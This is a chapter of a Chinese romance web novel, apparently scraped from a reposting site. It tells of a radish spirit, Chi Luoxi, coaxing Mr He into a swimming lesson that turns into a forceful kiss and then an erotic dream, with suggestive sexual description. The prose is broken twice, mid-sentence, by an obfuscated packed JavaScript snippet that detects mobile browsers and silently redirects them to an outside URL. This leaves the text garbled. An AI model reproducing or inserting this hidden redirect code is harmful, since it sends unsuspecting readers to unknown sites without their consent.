在山里最多就是在夏天,跟小伙伴们在村口那条最深不过腰的小河里扑腾几下,打打水仗,从没在这种又大又深,还蓝得让人心慌的池子里游过。 而且他骨子里就是个土生土长的山里白萝卜,又不是水萝卜。 但在钓贺先生和怕水之间挣扎了片刻,他把大浴巾扔在旁边空着的躺椅上。 贺昂霄的目光定格在了迟萝禧身体上。 下一秒,贺昂霄的呼吸都停了。 他觉得自己的鼻腔有些发热。 迟萝禧这穿的是什么鬼东西? 低腰的设计将少年那截纤细得惊人的腰身,勒得清晰无比,甚至能看到两侧微微凹陷诱人的腰窝。 泳裤的面料是那种带着微妙光泽的弹性材质,像第二层皮肤一样,紧紧包裹着挺翘的臀部,将两瓣浑圆的弧度,勾勒得淋漓尽致,因为过于紧绷,在大腿处勒出柔软肉感的边缘。 大腿两侧到大腿根部,将整条腿最修长笔直的部分完全暴露出来,皮肤是毫无瑕疵的莹白,在湛蓝池水的映衬和午后明亮阳光的照射下,白得晃眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388066|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嫩得仿佛轻轻一碰就会留下红痕,又泛着健康珍珠般的光泽。 迟萝禧似乎对这样的暴露极不习惯,他坐在池边,双手无意识地抱着自己并拢的膝盖,身体微微蜷缩着,像一只被强行从壳里拖出来,暴露在天光下,不知所措的软体动物。 那张脸此刻因为羞赧和紧张,染上了大片大片的红晕,从脸颊一直蔓延到耳根,嘴唇也微微抿着,嘴角向下撇着,看上去可怜兮兮,又带着不自知纯真的诱惑。 迟萝禧怯生生的求助:“贺先生,其实我不会游泳。” 贺昂霄:“…………” 他看着迟萝禧那副我见犹怜的模样,再看看他那身可以用视觉冲击来形容的装扮,心里那点隐秘躁动的火苗,猛地窜高了好几丈。 迟萝禧觉得贺先生是嫌他蠢,说话都有点不耐烦。 “……下来,我教你。” 迟萝禧看了看他,又低头看了看那汪蓝得深邃的池水,担忧:“贺先生,我不会被淹死吧?这水看着好深。” 贺昂霄:“有我在能让你淹着?” 迟萝禧慢慢地朝池边挪了挪身体,接着他朝着水里的贺昂霄,张开双手。 贺昂霄:“??” 迟萝禧见他没动,手又往前伸了伸,可怜道:“你抱着我吧,不然我不敢下去,我害怕。” 贺昂霄:“…………” 他盯着迟萝禧看了足足有几秒钟。 阳光落在那张泛着红晕无辜的脸上,嘴唇因为紧张而微微张着,露出一点洁白的齿尖。 谁说这小捞子不会的?这他*的也实在太会了吧! 知道用这种湿漉漉,可怜巴巴的眼神来瓦解他的理智,让人陷入暧昧之中。 这手段简直浑然天成,无懈可击。 高明得让贺昂霄都忍不住在心里爆了句粗口。 贺昂霄几不可闻地哼了一声,还是伸出了手。 贺昂霄的手掌很大,手指修长有力,因为常年健身指腹和虎口带着薄茧,与迟萝禧伸过来的那只白皙细腻的手,形成鲜明对比。 他握住了那只手。 触感是意料之中的细滑和微凉,仿佛稍一用力就会留下痕迹。 迟萝禧的手被他握住,另一只手也立刻伸了过来,像藤蔓寻找依附的树干般,下水就环上了贺昂霄的脖子。 然后迟萝禧整个人的重量就毫无保留结结实实地挂在了贺昂霄身上。 贺昂霄:“…………” 这是第一次,他和迟萝禧,如此毫无阻隔大面积地紧密地贴合在一起。 没有衣物,只有湿滑的池水和彼此的皮肤。 迟萝禧的身体,比他想象中还要不可思议。 触感是极致的软,柔韧弹性,像最上等的羊脂玉,又像刚蒸好的带着水汽的糯米糕。 皮肤是温凉,贺昂霄觉得自己鼻子是不是有病,他能闻到迟萝禧身上有股很淡,像是雨后山林间草木根茎散发清新又独特的气息,在水的浸润下,丝丝缕缕地往人鼻子里钻,意外地好闻。 体重也比贺昂霄预想的要沉实,看着瘦,但骨肉匀停,该有的肉一点不少,而且密度似乎不低,沉甸甸地压在他身上。 贺昂霄出于本能将原本搭在池壁上空着的那只手扶上了迟萝禧的腰侧。 不然他要被迟萝禧带着歪重心,滑倒呛水了。 直到掌心贴上那截细腰的瞬间,贺昂霄脑子里就只有一个念头。 操。 太细了。 细得他一只手几乎能环过来大半,而且腰肢的柔韧有力,没有一丝多余的赘肉,因为紧张而微微绷着,手感是紧实中带着弹性的软,好得惊人。 仿佛稍一用力,就能折断。 迟萝禧似乎完全没有察觉到贺昂霄身体的僵硬和内心的惊涛骇浪。他整个人都像只树袋熊一样挂在贺昂霄身上,双脚试探性地踩进了微凉的池水里。 突如其来的低温让他忍不住打了个明显的哆嗦,身体也不由自主地更往贺昂霄怀里缩了缩:“……真的好凉啊,贺先生。” 因为冷,也因为害怕,迟萝禧贴得更紧了。 胸膛紧贴着贺昂霄结实滚烫的胸膛,小腹贴着对方壁垒分明的腹肌,大腿也若有似无地蹭着。 肌肤相亲没有一丝缝隙。 贺昂霄能感觉到对方胸膛下那颗因为紧张,寒冷和此刻的亲密接触而跳得飞快,像受惊小鹿般乱撞的心脏,噗通,噗通,噗通。 贺昂霄只要一低头,就能看见迟萝禧泛着健康红晕的脸颊,挺秀精致的鼻梁,和那双因为沾了水汽,蒙着一层雾气而显得格外水润迷离的黑眼睛。 视线再往下,是纤细脆弱的脖颈,线条优美的锁骨,大片大片裸露在外白得晃眼,嫩得仿佛能掐出水来的后背和平坦的小腹。 从上到下,从里到外,哪里都白,在湛蓝池水的波光映照下,散发着纯净又诱人的光泽。 贺昂霄喉结剧烈地滚动了一下,强行让自己移开目光:“多适应一下就好了,水里没那么冷。” 迟萝禧似乎觉得他说得有道理,点了点头,鼻尖蹭到贺昂霄的下巴,他尝试着动了动,想把脚踩在池底,找到一点踏实感。 但泳池有点很深,迟萝禧怕水把自己淹没,于是努力仰着头,踮着脚,整个人几乎挂缠在了贺昂霄身上。 贺昂霄:“…………” 脚背上沉甸甸的。 贺昂霄:“迟萝禧,别踮脚。” 快把他踩死了。 12.Only Mr. He entered 迟萝禧被贺昂霄那句带着警告意味的别踮脚说得不好意思,松开了原本扒在贺昂霄脖子上的手,脚也瞬间从对方脚背上移开,往后退了一下。 他完全忘了自己还在水里,而且是个彻头彻尾的旱鸭子。 于是在贺昂霄略显错愕的注视下,迟萝禧就这么当着他的面差点把自己给淹死了。 这是深水区。 迟萝禧手忙脚乱地扑腾了两下,手臂挥舞,短促带着水音的惊呼:“……贺先生,救我!救唔……” 贺昂霄:“…………” 贺昂霄额角跳了跳,长臂一伸,捞住了迟萝的手臂,稍一用力就把人提溜了过来,撑着让他重新浮出水面。 “咳!咳咳咳咳!” 迟萝禧一出水,就趴在贺昂霄臂弯里,咳得惊天动地,白皙的脸颊因为呛水和剧烈咳嗽,涨得通红,胸口剧烈起伏,像条脱水的鱼。 贺昂霄半拖半抱地把他带到池边,让他双手扒住光滑的池壁边缘,能自己稳住身体。 “抓紧了,别松手。” 贺昂霄无奈,扶着迟萝禧腰侧的手没有立刻松开,直到确认他自己能扒住池壁,不会再次滑下去,才慢慢收回手。 迟萝禧趴在池边,又咳了好一会儿,才终于喘匀了气。 他脸上湿漉漉的,分不清是池水还是刚才呛出来的眼泪。 他可怜巴巴地看向贺昂霄,显然还没从刚才那突如其来的灭顶之灾中回过神来。 贺昂霄看着他这副惨兮兮的模样,心里那点因为被打断旖旎气氛而产生的不爽,稍微消散了些。 “行了,学游泳,先从最基本的练起,先练憋气。” 贺昂霄觉得,如果自己哪天不幸沦落为迟萝禧的老师,无论教什么,恐怕会是这个世界上最没耐心的老师。 “听着,吸一口气,” 贺昂霄示范性地深吸了一口气,胸口微微起伏,“然后把脸埋进水里,在水里憋住,不要用鼻子,不然会呛到,实在憋不住就用嘴巴吐,懂了吗?” 迟萝禧似懂非懂地点点头,他学着贺昂霄的样子,深深地吸了一口气,视死如归闭紧眼睛,捏住鼻子,猛地一下,把脸扎进了水里。 果然不过两三秒,迟萝禧就猛地从水里抬起头,一边大口喘气,一边剧烈地咳嗽起来,脸又憋红了:“咳咳……贺,贺先生……我,我好像……用鼻子了……” 贺昂霄指了指水面:“再来,别捏鼻子,放松,用嘴吸气,憋住。” 迟萝禧很听话,又深吸一口气,再次把脸埋下去。 这次他记得不捏鼻子了,坚持了大概四秒。 如此反复了好几次,迟萝禧最好的成绩,大概是在水里坚持了五秒。 迟萝禧表情既认真又挫败,他抬起手,用湿漉漉的手背擦了擦脸,摘掉泳镜,看向贺昂霄:“对不起,贺先生,我好笨啊,是不是没有别的办法可以练习了?” 贺昂霄慢悠悠地开口:“办法倒是还有一个,是我小时候,大人教我游泳的方式,你想不想听?” 迟萝禧:“想。” 贺昂霄不怀好意:“我现在直接把你扔到深水区中间,人在极度恐惧,生死一线的时候,求生本能会瞬间激发,无师自通,扑腾几下,说不定自己就学会了。” 迟萝禧:“……!!!” 他脸上的表情,瞬间从期待变成了惊恐,扒着池壁,横着快速挪动了好几步,瞬间拉开了和贺昂霄之间的距离。 贺昂霄看着他这副如临大敌的怂样,终于忍不住低低地笑了起来。 “就这点胆子,还想学游泳?行吧,你就在这儿先泡着,适应适应水温,我这儿可没有给小孩准备的游泳圈,我自己游几圈。” 说罢他不再看迟萝禧,猛地扎进了水里。 矫健的身影瞬间破开水面,带起流畅的水线,朝着泳池的另一头快速游去。 贺昂霄需要运动,消耗掉体内那些因为近距离接触,以及小傻子撩拨产生的翻涌不合时宜的燥热和冲动。 他得冷静下来,不能让这小捞子牵着鼻子走,更不能在这么个傻了吧唧的小东西面前,出什么洋相。 迟萝禧看着贺昂霄像条鱼一样,在水里畅快地游远,不服气。 贺先生小瞧他,觉得他学不会。 迟萝禧抿了抿唇,从水里爬上了岸,他走到躺椅边,在搜索框里输入:怎么不用下水练憋气? 他早晚都练。 他就不相信学不会。 搜索结果很快跳出来,五花八门,什么都有。迟萝禧一条条地往下翻。 看到在某个情感论坛里的问题好像是“男朋友不会游泳,怎么教他憋气?” 底下的高赞回答是:这还不简单?多接几次吻,吻到他喘不过气,自然就学会憋气了。[狗头] 底下还有一堆“哈哈哈”,“姐妹好会”,“学到了”的回复。 原来接吻可以练习憋气? 迟萝禧脑筋转了转。 他觉得自己最近真的越来越聪明了,果然少看动画片,多动脑筋,智商就能提高。 虽然想到要和贺先生接吻,迟萝禧还是觉得脸上发烧,心跳加速,害羞得不得了,但是刚才不是已经抱过了吗? 而且贺先生的身体真的很好抱。 不以萝卜精的视角,单纯以贺昂霄做了这么多年人类的审美来看,贺先生的身体,高大,肌肉线条流畅又充满力量,健康,让人想靠近。 如果他提出想让贺先生帮他练习,贺先生说不定不会拒绝,就算拒绝一次,他也不会拒绝第二次的。 这是迟萝禧的经验。 天真的贺先生,一定还不知道他的真实目的,肯定还以为他是真的想学游泳,真的练习憋气。 贺先生一定想不到,他这个山里来的萝卜,心里已经在盘算着怎么钓他,怎么完成肢体接触的下一步了。 原来变坏,当一个心机的萝卜,就是这么容易的事情吗?迟萝禧心里忽然生出带着点罪恶感和刺激感的明悟。 他在心里默默地对远在雾山的爷爷说:爷爷,对不起了,经此一事,我好像真的要学坏了,等我离开这里,我一定会洗心革面,重新做一个正直的好萝卜! 给自己做完心理建设,迟萝禧啪嗒啪嗒地小跑着回到了泳池边。 贺昂霄在这短短的时间里,已经以惊人的速度,在泳池里游了四个来回。 运动有效地将他身体里那股不受控制的燥热和悸动压了下去,血液似乎重新流回了它该去的地方,比如大脑。 贺昂霄觉得自己那颗聪明睿智,冷静自持的大脑又回来了。 很好,接下来 无论那小傻子再耍什么花招,他都能从容应对,不会再被任何事影响判断了。 他游到池边,双手抓住扶梯,正准备上岸休息一下。 就在这时,迟萝禧过来了,他看着摘下泳帽,泳镜,甩着湿发的贺昂霄。 “贺先生,我可以跟你接吻练习憋气吗?” 贺昂霄:“…………” 他抓着扶梯的手,猛地一滑,脚下踩着的阶梯也突然变得无比湿滑,整个人一歪,直挺挺地向后一仰,噗通一声巨响,结结实实地重新摔回了水里,溅起的水花很高,很猛。 迟萝禧蹲在池边,被劈头盖脸地浇了一身,他闭上眼睛。 几秒钟后,贺昂霄才猛地从水里站起来,他胡乱地抹了把脸上的水,甩了甩湿透的头发,让自己看起来镇定一点。 “……我,我刚是故意的,活动一下。” 他难以置信:“你刚才说什么?” 迟萝禧抹了抹脸上冰凉的水珠,往前凑了凑,跪在泳池边,双手扒在池边,身体微微前倾。 “贺先生,我刚在网上搜到的,说是接吻,可以练习憋气,你可以帮我吗?” 他说着还微微撅起了被水浸润得格外红润饱满的嘴唇。那两片唇瓣微微张开着,露出洁白的齿尖和舌尖,像邀请。 贺昂霄:“…………” 他的目光不受控制地落在了迟萝禧唇上,那形状,颜色,以及微微打开的弧度。 他觉得刚刚被冷水压下去的燥热,又以十倍,百倍的势头疯狂地反扑了回来。 贺昂霄:“……我为什么要帮你?” 迟萝禧双手合十:“因为贺先生,你是个好人,我喜欢你。” 贺昂霄想对空气打一套拳。 他小看这小捞子了。 下一刻迟萝禧就看着贺昂霄朝自己走了过来,水波在他身后荡漾,折射着细碎的金色阳光。 贺昂霄身材高大,可他的眼神迟萝禧看不太懂,只觉得很深,很沉,像此刻池底幽暗的水光。 但迟萝禧心里窃喜,甚至有点小得意。 看,贺先生明明很好骗,其他人实在太高估贺先生的智商了,觉得他心思深沉,难以接近,可在迟萝禧看来,而且好像还挺吃他这套的? 果然他才是妖精!人类还不是他的对手。 迟萝禧下山新学了一个字,叫智谋如妖。 虽然他是个没什么用的萝卜精,但对付贺先生这种干净,心思似乎也不怎么复杂的好人,还是绰绰有余的。 在贺昂霄走到他面前,带着一身水汽和压迫感站定时,迟萝禧朝着贺昂霄的脸,莽莽撞撞地就贴了过去。 目标是嘴唇。 位置大概对了。 迟萝禧感觉到自己的嘴唇,碰触到了一片微凉,带着池水湿气的皮肤。 贴上了。 他亲到贺先生了,这就是接吻吗?好像也没什么特别的?就是嘴巴碰嘴巴,凉凉的,软软的…… 然而迟萝禧很快体会到了什么叫缺氧。 因为贺先生真的要把他整个人都吞吃入腹了。 贺昂霄在迟萝禧嘴唇贴上来的一瞬间,贺昂霄脑子里的弦,终于“铮”地一声,彻底绷断,断得干净利落。 这小捞子居然真的敢。 一而再,再而三,一次次挑战他的底线,撩拨他那点岌岌可危的自制力。 不给这小东西点真正的颜色看看,他简直不知道天高地厚,不知道撩拨的后果是什么。 所有的隐忍克制,徐徐图之的考量,在这一刻全都被征服欲取代。 贺昂霄反客为主,他一手猛地扣住了迟萝禧的后脑,不温柔,而是把迟萝禧固定。 迟萝禧的唇,比他想象的还要软,真像糯米糍,想让人一口吞下。 贺昂霄撬开了迟萝禧的齿关,他也没跟别人亲过,凭本能长驱直入,攻城略地卷住那截因为主人完全懵掉而呆呆缩着同样柔软的舌,纠缠,碾磨。 迟萝禧放出了豪言,结果真到了实践环节,整个人都傻了,手脚都不知道该往哪里放,脑子里一片空白,只剩下唇齿间传来的触感和温度,还有要将他整个灵魂都吸走强烈的窒息感。 迟萝禧觉得自己像是真的被拖入了深水,无法呼吸,无法思考,只能被动地承受着这凶猛激烈的狂风暴雨。 贺昂霄将他半拖半抱地往水里带,将他牢牢地按在池壁和自己身体之间。 迟萝禧的后背贴着冰凉的瓷砖,身前是贺昂霄滚烫坚实的胸膛,唇舌被彻底占领,鼻腔里全是对方身上的气息。 萝卜被困在这方寸之地,无处可逃,底下是土的话,他还能土遁,可是底下是水泥地。 迟萝禧觉得嘴里的空气和水分,都要被吸干了。 贺昂霄这会变了一个人似的,浑身有种暴戾想要将他拆吃入腹般的狠劲,又奇异地混杂着让人头晕目眩,酥麻的掠夺快//感。 迟萝禧本能想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391450|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸,手脚却软得厉害,只能发出一些含糊带着泣音的呜咽。 就在迟萝禧觉得自己真的快要因为缺氧而昏过去的时候,贺昂霄终于稍微撤开了一些,给了他一丝喘息的空间。 但也仅仅是几秒。 新鲜的空气涌入肺部,迟萝禧大口大口地喘息着,眼神涣散,脸颊和脖颈都泛着不正常的潮红,嘴唇更是红肿得厉害,水光潋滟,微微张开着,像离水的鱼。 贺昂霄的呼吸也有些乱,胸膛起伏着,他没有完全放开迟萝禧,手指捏住了迟萝禧的下巴,指腹摩挲着那细腻的皮肤,掌控欲爆棚地将他牢牢固定在自己眼前。 男人目光幽深,里面翻滚着尚未平息的风暴,和令人心悸的暗色,紧紧锁着迟萝禧迷蒙泛着水光的眼睛。 迟萝禧恍惚地看着他,脑子里混沌一片。 网上说多接几次吻,吻到他喘不过气,原来是真的,可他现在是真的感觉自己像溺水了,快要死掉了。 快要被憋死了。 而且不止是窒息,迟萝禧全身都麻麻的,像过了电一样,从嘴唇,到舌头,到四肢百骸,让他连动一动手指的力气都没有。 心脏跳得又快又乱。 山里孩子,哪里经历过这个啊。 电视里那些蜻蜓点水的亲吻,跟这个比起来,简直是小溪流和大海啸的区别。 迟萝禧毫无经验,完全不懂得如何换气,回应,在这种狂风暴雨般的侵袭中保护自己。 大部分时间,他都处于一种完全被动失神的状态,表情是痴痴的,像是灵魂都被这个吻给抽走了。 于是原本计划的学游泳,一个下午,全变成了学憋气。 而且教的教练和学的学生,全都偏离了初衷。 最后迟萝禧实在是受不了了。 他觉得自己的舌头都不是自己的了,嘴唇也又麻又肿,他扒着贺昂霄,气若游丝小声哀求:“……贺先生,我觉得……今天学到这里……可以了吧?我,我舌头……都麻了……” 贺昂霄垂眸看着他,用拇指按上了迟萝禧微微探出一点的舌尖。 “是吗?” 贺昂霄凑近,“张开嘴,我看看。” 迟萝禧此刻完全是下意识的服从。他听话地微微张开了嘴,小小地“啊”了一声。 舌头果然有点肿了,比平时更红润,透着一种被过度蹂躏后可怜又诱人的光泽。 迟萝禧觉得不舒服,下意识就用舌头顶了顶贺昂霄按在上面的手指,想把那有点粗糙的触感顶开。 贺昂霄的眼神瞬间变得更加幽暗,眼底深处似乎有暗火在跳动。 “要不,” 他盯着迟萝禧的嘴唇,“再练一遍?巩固一下?” 迟萝禧一听,吓得立刻用力摇头,他几乎是手脚并用地挣开贺昂霄的钳制。 贺昂霄似乎也没真的用力拦他。 迟萝禧像只受惊的兔子,撅着被泳裤包裹挺翘的小屁股,手忙脚乱地爬上了泳池,抓起躺椅上的浴巾,把自己胡乱一裹,逃也似的朝着更衣室的方向,啪嗒啪嗒地跑了过去。 贺昂霄站在水里,看着他仓皇逃离的背影,没有追。 他抬手,用舌尖,轻轻舔了舔自己口腔内壁。 刚才吻得太凶,他自己嘴里好像也被咬破了一点,贺昂霄尝到了一点淡淡的铁锈味。 他看着更衣室的门被关上,眼神深沉,像猎人目睹猎物逃回巢穴,却深知其已无处可逃掌控一切的从容和期待。 大餐当然不能急着动筷。 要慢慢来,要有耐心,要等猎物彻底卸下心防,最配合,最听话,甚至主动献祭的时候,品尝起来,才最是鲜美,回味无穷。 贺昂霄把迟萝禧送回了会所的员工宿舍楼下。一路无言。 迟萝禧低着头,像只鹌鹑,恨不得把自己缩成一团。 贺昂霄也没说话,只是遇到红灯手指在方向盘上,有一下没一下地敲着,目光偶尔掠过迟萝禧红肿未消的嘴唇。 两人一分开,迟萝禧说了句贺先生再见而后就飞奔上楼,躲进了自己的小房间。 他关上门,摸了摸自己又麻又肿,刺痛的嘴唇,忍不住“嘶”了一声。 贺昂霄还说自己不喜欢吃萝卜,这是快把他进补了。 虽然过程跟迟萝禧想象的完全不一样,惊心动魄,差点死掉,但结果是好的。 下一步就是要让贺先生习惯他,离不开他,然后,他就能提要求,让贺先生帮他离开这里。 迟萝禧握了握拳头,觉得胜利在望。 而另一边贺昂霄回到自己惯常住的公寓,洗过澡,处理完工作,夜深人静时,他躺在那张宽大柔软的床上,却有些睡不着。 脑海里不受控制地反复回放着下午在泳池边的那一幕幕。 迟萝禧湿漉漉的眼睛,红肿的嘴唇,柔软的腰肢,还有那种生涩全然被动意外勾人的反应…… 不知怎么的这些画面渐渐扭曲,变形,融入了更深的梦境。 梦里依旧是那个泳池边。 迟萝禧背对着他,跪趴在那张白色的躺椅上。身上穿的还是今天那条该死的泳衣。 午后的阳光暖洋洋地洒在他身上,将那片莹白的皮肤照得几乎透明。 ………… 贺昂霄看到了一串黑色花体的英文纹身,字体优雅,却处处都透着下流的意味。 Only Mr. He entered. 还有一个小小精致的黑色箭头,指向更禁//忌的隐秘之地。 贺昂霄在梦里呼吸猛地一窒。 然后他猛地从睡梦中惊醒,一下子坐了起来。房间里一片黑暗,贺昂霄浑身都烫。 贺昂霄用力抹了把脸,从齿缝里狠狠地挤出了一句脏话。 “F*ck!”